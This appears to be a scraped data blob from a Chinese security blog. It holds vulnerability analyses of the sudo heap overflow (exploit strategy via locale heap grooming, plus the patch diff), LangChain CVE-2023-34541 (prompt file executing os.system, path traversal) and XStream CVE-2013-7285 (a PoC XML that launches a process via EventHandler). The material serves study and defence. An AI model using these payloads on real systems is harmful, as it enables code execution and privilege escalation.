{\r\n330:   if (ni-\u003Elibrary == NULL) \r\n331:     {\r\n332:       \u002F* This service has not yet been used. Fetch the service\r\n333: library for it, creating a new one if need be. If there\r\n334: is no service table from the file, this static variable\r\n335: holds the head of the service_library list made from the\r\n336: default configuration. *\u002F\r\n337:       static name_database default_table;\r\n338:       ni-\u003Elibrary = nss_new_service (service_table ?: &default_table,\r\n339:     ni-\u003Ename); \u002F\u002F若ni-\u003Elibrary的值为NULL,那么就会新建一个ni-\u003Elibrary并将成员都进行初始化\r\n340:       if (ni-\u003Elibrary == NULL)\r\n341: return -1;\r\n342:     }\r\n343: \r\n344:   if (ni-\u003Elibrary-\u003Elib_handle == NULL) \u002F\u002F由于ni-\u003Elibrary刚新建,因此ni-\u003Elibrary-\u003Elib_handle必定为NULL\r\n345:     {\r\n346:       \u002F* Load the shared library. *\u002F\r\n347:       size_t shlen = (7 + strlen (ni-\u003Ename) + 3\r\n348:      + strlen (__nss_shlib_revision) + 1);\r\n349:       int saved_errno = errno;\r\n350:       char shlib_name[shlen];\r\n351: \r\n352:       \u002F* Construct shared object name. *\u002F\r\n353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,\r\n354:      \"libnss_\"),\r\n355:    ni-\u003Ename),\r\n356:  \".so\"), \u002F\u002Fshalib_name是根据拼接得到\r\n357: __nss_shlib_revision);\r\n358: \r\n359:       ni-\u003Elibrary-\u003Elib_handle = __libc_dlopen (shlib_name); \u002F\u002F加载动态链接库\r\n \r\n\r\n上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni-\u003Ename进行一系列的拼接得到,而ni-\u003Ename则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni-\u003Ename,它是能够完成修改程序执行流程的关键变量。\r\n\r\n举个例子,例如我们将ni-\u003Ename修改为X\u002Ftest,那么最后拼接的结果会得到libnss_X\u002Ftest.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。\r\n\r\n布置堆块的操作\r\n\r\n由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni-\u003Ename,即可完成任意代码执行的效果。\r\n\r\n在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。\r\n\r\n区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。\r\n\r\nexport LC_ALL=en_US.UTF-8@XXXX\r\n\r\n而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,\"\")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。\r\n\r\n_nl_find_locale函数\r\nFile: locale\\findlocale.c\r\n101: struct __locale_data *\r\n102: _nl_find_locale (const char *locale_path, size_t locale_path_len,\r\n103: int category, const char **name)\r\n104: {\r\n   ... \r\n184:   \u002F* LOCALE can consist of up to four recognized parts for the XPG syntax:\r\n185: \r\n186: language[_territory[.codeset]][@modifier]\r\n187: \r\n188:     Beside the first all of them are allowed to be missing. If the\r\n189:     full specified locale is not found, the less specific one are\r\n190:     looked for. The various part will be stripped off according to\r\n191:     the following order:\r\n192: (1) codeset\r\n193: (2) normalized codeset\r\n194: (3) territory\r\n195: (4) modifier\r\n196:   *\u002F\r\n       \u002F*\r\n       区域的格式为C_en_US.UTF-8@XXXXXX\r\n       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失\r\n       *\u002F\r\n197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory,\r\n198:   &codeset, &normalized_codeset);\r\n199:   if (mask == -1)\r\n200:     \u002F* Memory allocate problem. *\u002F\r\n201:     return NULL;\r\n202: \r\n   \u002F\u002Flocale_file则给区域设置进行动态内存的分配\r\n205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n206:    locale_path, locale_path_len, mask,\r\n207:    language, territory, codeset,\r\n208:    normalized_codeset, modifier,\r\n209:    _nl_category_names_get (category), 0); \u002F\u002F返回NULL\r\n210: \r\n211:   if (locale_file == NULL)\r\n212:     {\r\n213:       \u002F* Find status record for addressed locale file. We have to search\r\n214: through all directories in the locale path. *\u002F\r\n215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n216: locale_path, locale_path_len, mask,\r\n217: language, territory, codeset,\r\n218: normalized_codeset, modifier,\r\n219: _nl_category_names_get (category), 1);\r\n220:       if (locale_file == NULL)\r\n221: \u002F* This means we are out of core. *\u002F\r\n222: return NULL;\r\n223:     }\r\n}\r\n\r\n_nl_make_l10nflist**函数**\r\n\r\n_nl_make_l10nflist会根据我们传入的值进行堆块的分配。\r\n\r\nFile: intl\\l10nflist.c\r\n150: struct loaded_l10nfile *\r\n151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,\r\n152:    const char *dirlist, size_t dirlist_len,\r\n153:    int mask, const char *language, const char *territory,\r\n154:    const char *codeset, const char *normalized_codeset,\r\n155:    const char *modifier,\r\n156:    const char *filename, int do_allocate)\r\n157: {\r\n   ...\r\n165:   \u002F\u002F根据我们传入的区域值的长度进行动态分配\r\n166:   abs_filename = (char *) malloc (dirlist_len\r\n167:  + strlen (language)\r\n168:  + ((mask & XPG_TERRITORY) != 0\r\n169:     ? strlen (territory) + 1 : 0)\r\n170:  + ((mask & XPG_CODESET) != 0\r\n171:     ? strlen (codeset) + 1 : 0)\r\n172:  + ((mask & XPG_NORM_CODESET) != 0\r\n173:     ? strlen (normalized_codeset) + 1 : 0)\r\n174:  + ((mask & XPG_MODIFIER) != 0\r\n175:     ? strlen (modifier) + 1 : 0)\r\n176:  + 1 + strlen (filename) + 1);\r\n177: \r\n   ...\r\n292: }\r\n \r\n\r\nsetlocale**函数**\r\n\r\nsetlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。\r\n\r\nFile: locale\\setlocale.c\r\n334:       while (category-- \u003E 0)\r\n335: if (category != LC_ALL)\r\n336: {\r\n   \u002F\u002F通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中\r\n337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len,\r\n338: category,\r\n339: &newnames[category]);\r\n340: \r\n ...\r\n364: else\r\n365: {\r\n   \u002F\u002F使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去\r\n366:    newnames[category] = __strdup (newnames[category]);\r\n367:    if (newnames[category] == NULL)\r\n368:      break;\r\n369: }\r\n   ...\r\n393:  if (category != LC_ALL && newnames[category] != _nl_C_name\r\n394:      && newnames[category] != _nl_global_locale.__names[category])\r\n395:    free ((char *) newnames[category]); \u002F\u002F这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉\r\n \r\n\r\n因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。\r\n\r\nLC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free()\r\n\r\nexp的分析\r\n\r\n由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。\r\n\r\n紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的\r\n\r\n将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小\r\n\r\n 使用错误的区域值进行堆块的释放\r\n\r\n最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni-\u003Elibrary中用\\x00填充,而\\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\\x00',那么我们就能将\\x00的值直接拷贝的堆内存中。紧接着将ni-\u003Ename修改为我们认为构造的动态链接库即可。\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n866: if (from[0] == '\\\\' && !isspace((unsigned char)from[1])) \u002F\u002F若 '\\' 后跟着'\\x00'\r\n867:    from++; \u002F\u002F此时from会指向\\x00\r\n868: *to++ = *from++; \u002F\u002F使用\\x00进行值的拷贝\r\n869:   }\r\n\r\n设置多个环境变量使得内存存在多个'' + '\\x00',从而使用'\\x00'去覆盖堆的内存值。\r\n\r\n演示效果如下\r\n\r\n漏洞修复\r\n\r\n漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\\0'的校验\r\n\r\n \r\n--- a\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n+++ b\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n@@ -547,7 +547,7 @@\r\n \r\n     \u002F* If run as root with SUDO_USER set, set sudo_user.pw to that user. *\u002F\r\n     \u002F* XXX - causes confusion when root is not listed in sudoers *\u002F\r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {\r\n if (user_uid == 0 && strcmp(prev_user, \"root\") != 0) {\r\n    struct passwd *pw;\r\n \r\n@@ -932,8 +932,8 @@\r\n     if (user_cmnd == NULL)\r\n user_cmnd = NewArgv[0];\r\n \r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {\r\n- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {\r\n+ if (!ISSET(sudo_mode, MODE_EDIT)) { \u002F\u002F对MODE_EDIT进行了额外的判断\r\n    const char *runchroot = user_runchroot;\r\n    if (runchroot == NULL && def_runchroot != NULL &&\r\n    strcmp(def_runchroot, \"*\") != 0)\r\n@@ -961,7 +961,8 @@\r\n sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\r\n debug_return_int(NOT_FOUND_ERROR);\r\n   }\r\n-    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {\r\n+    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&\r\n+    ISSET(sudo_mode, MODE_RUN)) { \u002F\u002F需要sudo -s才能进行转义\r\n \u002F*\r\n * When running a command via a shell, the sudo front-end\r\n * escapes potential meta chars. We unescape non-spaces\r\n@@ -969,10 +970,22 @@\r\n *\u002F\r\n for (to = user_args, av = NewArgv + 1; (from = *av); av++) {\r\n    while (*from) {\r\n- if (from[0] == '\\\\' && !isspace((unsigned char)from[1]))\r\n+ if (from[0] == '\\\\' && from[1] != '\\0' &&  \u002F\u002F增加了'\\0'的判断\r\n+ !isspace((unsigned char)from[1])) {\r\n    from++;\r\n+ }\r\n+ if (size - (to - user_args) \u003C 1) {\r\n+    sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+ __func__);\r\n+    debug_return_int(NOT_FOUND_ERROR);\r\n+ }\r\n *to++ = *from++;\r\n   }\r\n+    if (size - (to - user_args) \u003C 1) {\r\n+ sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+    __func__);\r\n+ debug_return_int(NOT_FOUND_ERROR);\r\n+   }\r\n    *to++ = ' ';\r\n }\r\n *--to = '\\0';\r\n\r\n总结\r\n\r\nSudo堆溢出攻击流程\r\n\r\n首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。\r\n\r\n其次利用堆溢出将server_user堆块的ni-\u003Ename值覆盖,覆盖的值为恶意构造的动态链接库名。\r\n\r\n最后等待动态链接库被加载执行。\r\n\r\nSudo堆溢出利用的限制\r\n\r\n由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306281532430.png",openTime:"2023-06-28T16:09:07+08:00",viewsNum:5456},{id:"20230627152728",type:f,title:"LangChain 任意命令执行(CVE-2023-34541)",abstract:"漏洞简介\r\n\r\nLangChain是一个用于开发由语言模型驱动的应用程序的框架。\r\n\r\n在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。\r\n\r\n漏洞复现\r\n\r\n在项目下编写 test.py \r\n\r\nfrom langchain.prompts import load_prompt\r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"system.py\")\r\n\r\n同级目录下编写 system.py 执行系统命令 dir \r\n\r\nimport os\r\nos.system(\"dir\")\r\n\r\n运行 test.py 返回了执行系统命令dir 的结果\r\n\r\n 漏洞分析-_load_prompt_from_file \r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\ntry_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file \r\n\r\nlangchain.prompts.loading._load_prompt_from_file \r\n\r\n在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行\r\n\r\n也就相当于,代码可以简写为\r\n\r\nif __name__ == '__main__':\r\n    file_path = \"system.py\"\r\n    with open(file_path, \"rb\") as f:\r\n        exec(f.read())\r\n\r\n‍\r\n\r\n漏洞分析-try_load_from_hub \r\n\r\n因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析\r\n\r\nfrom langchain.prompts import load_prompt\r\n \r\nif __name__ == '__main__':\r\n    loaded_prompt = load_prompt(\"lc:\u002F\u002Fprompts\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fsystem.py\")\r\n\r\nlangchain.prompts.loading.load_prompt \r\n\r\nlangchain.utilities.loading.try_load_from_hub \r\n\r\n首先匹配了 HUB_PATH_RE = re.compile(r\"lc(?Pref@[^:]+)?:\u002F\u002F(?Ppath.*)\") 所以需要满足最开始是 lc:\u002F\u002F \r\n\r\n然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中\r\n\r\n最后拼接请求的url 可以通过 ..\u002F..\u002F..\u002F 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行\r\n\r\n漏洞小结\r\n\r\n在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306271456561.png",openTime:"2023-06-27T15:27:45+08:00",viewsNum:5614},{id:"20230625154503",type:f,title:"Java 反序列化之 XStream 反序列化",abstract:"0x01 XStream 基础\r\n\r\nXStream 简介\r\n\r\nXStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。\r\n\r\n使用 XStream 实现序列化与反序列化\r\n\r\n下面看下如何使用 XStream 进行序列化和反序列化操作的。\r\n\r\n先定义接口类\r\n\r\nIPerson.java\r\n\r\npublic interface IPerson {  \r\n    void output();  \r\n}\r\n\r\n接着定义 Person 类实现前面的接口:\r\n\r\npublic class Person implements IPerson {  \r\n    String name;  \r\n    int age;  \r\n  \r\n    public void output() {  \r\n        System.out.print(\"Hello, this is \" + this.name + \", age \" + this.age);  \r\n   }  \r\n}\r\n\r\nXStream 序列化是调用 XStream.toXML() 来实现的:\r\n\r\npublic class Serialize {  \r\n    public static void main(String[] args) {  \r\n        Person p = new Person();  \r\n        p.age = 6;  \r\n        p.name = \"Drunkbaby\";  \r\n        XStream xstream = new XStream(new DomDriver());  \r\n        String xml = xstream.toXML(p);  \r\n        System.out.println(xml);  \r\n   }  \r\n}\r\n\r\nXStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以:\r\n\r\nDeserialize.java\r\n\r\nimport com.thoughtworks.xstream.XStream;  \r\nimport com.thoughtworks.xstream.io.xml.DomDriver;  \r\n  \r\nimport java.io.File;  \r\nimport java.io.FileInputStream;  \r\nimport java.io.FileNotFoundException;  \r\nimport java.util.Scanner;  \r\n  \r\npublic class Deserialize {  \r\n    public static void main(String[] args) throws FileNotFoundException {  \r\n\u002F\u002F       String xml = new Scanner(new File(\"person.xml\")).useDelimiter(\"\\\\Z\").next();  \r\n        FileInputStream xml = new FileInputStream(\"G:\\\\OneDrive - yapuu\\\\Java安全学习\\\\JavaSecurityLearning\\\\JavaSecurity\\\\XStream\\\\XStream\\\\XStream-Basic\\\\src\\\\main\\\\java\\\\person.xml\");  \r\n        XStream xstream = new XStream(new DomDriver());  \r\n        Person p = (Person) xstream.fromXML(xml);  \r\n        p.output();  \r\n   }  \r\n}\r\n\r\nXStream 几个部分\r\n\r\nXStream 类图,参考.\u002Fhttps:\u002F\u002Fwww.jianshu.com\u002Fp\u002F387c568faf62:\r\n\r\n主要分为四个部分:\r\n\r\nMarshallingStrategy 编码策略\r\n\r\n\r\nmarshall : object-\u003Exml 编码\r\n\r\n\r\nunmarshall : xml-\u003E object 解码\r\n\r\n\r\n两个重要的实现类:\r\n\r\n\r\ncom.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 \r\n\r\n\r\n调用 Mapper 和 Converter 把 XML 转化成 Java 对象\r\n\r\n\r\n其中的 start 方法开始编组\r\n\r\n其中调用了 this.convertAnother(item) 方法\r\n\r\nconvertAnother 方法的作用是把 XML 转化成 Java 对象。\r\n\r\nMapper 映射器\r\n\r\n简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。\r\n\r\nConverter 转换器\r\n\r\nXStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。\r\n\r\n转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。\r\n\r\n简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。\r\n\r\n转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher\r\n\r\n\r\ncanConvert 方法:告诉 XStream 对象,它能够转换的对象;\r\n\r\n\r\nmarshal 方法:能够将对象转换为 XML 时候的具体操作;\r\n\r\n\r\nunmarshal 方法:能够将 XML 转换为对象时的具体操作;\r\n\r\n\r\n具体参考:http:\u002F\u002Fx-stream.github.io\u002Fconverters.html\r\n\r\n这里告诉了我们针对各种对象,XStream 都做了哪些支持。\r\n\r\nEventHandler 类\r\n\r\nEventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。\r\n\r\nEventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。\r\n\r\nEventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()-\u003EEventHandler.invokeInternal()-\u003EMethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用:\r\n\r\npublic class EventHandler implements InvocationHandler {  \r\n    private Object target;  \r\n    private String action;  \r\n ...  \r\n  \r\n public Object invoke(final Object proxy, final Method method, final Object[] arguments) {  \r\n       ...  \r\n                return invokeInternal(proxy, method, arguments);  \r\n       ...  \r\n   }  \r\n      \r\n private Object invokeInternal(Object proxy, Method method, Object[] arguments) {  \r\n       ...  \r\n              \r\n                Method targetMethod = Statement.getMethod(  \r\n                             target.getClass(), action, argTypes);  \r\n               ...  \r\n                return MethodUtil.invoke(targetMethod, target, newArgs);  \r\n           }  \r\n           ...  \r\n   }  \r\n  \r\n ...  \r\n}\r\n\r\n这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释:\r\n\r\nprivate Object invokeInternal(Object var1, Method var2, Object[] var3) {  \r\n\u002F\u002F-------------------------------------part1----------------------------------  \r\n\u002F\u002F作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称  \r\n        String var4 = var2.getName();  \r\n        if (var2.getDeclaringClass() == Object.class) {  \r\n            if (var4.equals(\"hashCode\")) {  \r\n                return new Integer(System.identityHashCode(var1));  \r\n           }  \r\n  \r\n            if (var4.equals(\"equals\")) {  \r\n                return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;  \r\n           }  \r\n  \r\n            if (var4.equals(\"toString\")) {  \r\n                return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());  \r\n           }  \r\n       }  \r\n\u002F\u002F-------------------------------------part2----------------------------------  \r\n\u002F\u002F貌似获取了一个class和object  \r\n        if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {  \r\n            return null;  \r\n       } else {  \r\n            Class[] var5 = null;  \r\n            Object[] var6 = null;  \r\n            if (this.eventPropertyName == null) {  \r\n                var6 = new Object[0];  \r\n                var5 = new Class[0];  \r\n           } else {  \r\n                Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());  \r\n                var6 = new Object[]{var7};  \r\n                var5 = new Class[]{var7 == null ? null : var7.getClass()};  \r\n           }  \r\n\u002F\u002F------------------------------------------------------------------------------  \r\n            try {  \r\n                int var12 = this.action.lastIndexOf(46);  \r\n                if (var12 != -1) {  \r\n                    this.target = this.applyGetters(this.target, this.action.substring(0, var12));  \r\n                    this.action = this.action.substring(var12 + 1);  \r\n               }  \r\n\u002F\u002F--------------------------------------part3----------------------------------------  \r\n\u002F\u002Fvar13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException  \r\n                Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);  \r\n\u002F\u002F--------------------------------------------------------------------------  \r\n\u002F\u002F判断var13是否为空,当然不为空啦  \r\n                if (var13 == null) {  \r\n                    var13 = Statement.getMethod(this.target.getClass(), \"set\" + NameGenerator.capitalize(this.action), var5);  \r\n               }  \r\n  \r\n                if (var13 == null) {  \r\n                    String var9 = var5.length == 0 ? \" with no arguments\" : \" with argument \" + var5[0];  \r\n                    throw new RuntimeException(\"No method called \" + this.action + \" on \" + this.target.getClass() + var9);  \r\n               } else {  \r\n\u002F\u002F-------------------------------------part4----------------------------------  \r\n\u002F\u002F调用invoke,调用函数,执行命令  \r\n                    return MethodUtil.invoke(var13, this.target, var6);  \r\n               }  \r\n\u002F\u002F------------------------------------------------------------------------------  \r\n           } catch (IllegalAccessException var10) {  \r\n                throw new RuntimeException(var10);  \r\n           } catch (InvocationTargetException var11) {  \r\n                Throwable var8 = var11.getTargetException();  \r\n                throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);  \r\n           }  \r\n       }  \r\n}\r\n\r\n有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink\r\n\r\nDynamicProxyConverter 动态代理转换器\r\n\r\nDynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:\r\n\r\nXStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。\r\n\r\n以官网给的例子为例:\r\n\r\n\u003Cdynamic-proxy\u003E  \r\n  \u003Cinterface\u003Ecom.foo.Blah\u003C\u002Finterface\u003E  \r\n  \u003Cinterface\u003Ecom.foo.Woo\u003C\u002Finterface\u003E  \r\n  \u003Chandler class=\"com.foo.MyHandler\"\u003E  \r\n    \u003Csomething\u003Eblah\u003C\u002Fsomething\u003E  \r\n  \u003C\u002Fhandler\u003E  \r\n\u003C\u002Fdynamic-proxy\u003E\r\n\r\ndynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler\r\n\r\n0x02 CVE-2013-7285\r\n\r\nPoC\r\n\r\n\u003Csorted-set\u003E  \r\n  \u003Cdynamic-proxy\u003E  \r\n    \u003Cinterface\u003Ejava.lang.Comparable\u003C\u002Finterface\u003E  \r\n    \u003Chandler class=\"java.beans.EventHandler\"\u003E  \r\n      \u003Ctarget class=\"java.lang.ProcessBuilder\"\u003E  \r\n        \u003Ccommand\u003E  \r\n          \u003Cstring\u003ECalc\u003C\u002Fstring\u003E  \r\n        \u003C\u002Fcommand\u003E  \r\n      \u003C\u002Ftarget\u003E  \r\n      \u003Caction\u003Estart\u003C\u002Faction\u003E  \r\n    \u003C\u002Fhandler\u003E  \r\n  \u003C\u002Fdynamic-proxy\u003E  \r\n\u003C\u002Fsorted-set\u003E\r\n\r\n看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了\r\n\r\n触发代码\r\n\r\nimport com.thoughtworks.xstream.XStream;  \r\nimport com.thoughtworks.xstream.io.xml.DomDriver;  \r\n  \r\nimport java.io.FileInputStream;  \r\n  \r\n\u002F\u002F CVE_2013_7285 Exploit  \r\npublic class CVE_2013_7285 {  \r\n    public static void main(String[] args) throws Exception{  \r\n        FileInputStream fileInputStream = new FileInputStream(\"G:\\\\OneDrive - yapuu\\\\Java安全学习\\\\JavaSecurityLearning\\\\JavaSecurity\\\\XStream\\\\XStream\\\\XStream-Basic\\\\src\\\\main\\\\java\\\\person.xml\");  \r\n        XStream xStream = new XStream(new DomDriver());  \r\n        xStream.fromXML(fileInputStream);  \r\n   }  \r\n}\r\n\r\n漏洞原理\r\n\r\nXStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。\r\n\r\n利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。\r\n\r\n漏洞分析\r\n\r\n下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型\r\n\r\n后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型\r\n\r\n接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器\r\n\r\n往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。\r\n\r\n接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法:\r\n\r\n在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。\r\n\r\n跟进之后就变得一目了然了,其中判断 reader 是否还有子元素\r\n\r\n下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker\r\n\r\n往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:\r\n\r\n跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中\r\n\r\n这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 \u003Cdynamic-proxy\u003E,这里有点像是递归调用\r\n\r\n可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)\r\n\r\n经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。\r\n\r\n先判断当前元素是否还有子元素,并获取该子元素进行后续判断\r\n\r\n根据我们所编写的 xml,获取到的子元素为 \u003Cinterface\u003E,经过判断 if (elementName.equals(\"interface\")),如果为 true,则将目前 \u003Cinterface\u003E 节点的元素获取到,再获得转换类型。\r\n\r\n因为仍旧存在子元素,获取完 \u003Cinterface\u003E 后重新进入这个迭代,下一个获取到的子元素是 \u003Chandler\u003E。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。\r\n\r\n往下走,第 125 行调用了 Proxy.newProxyInstance() 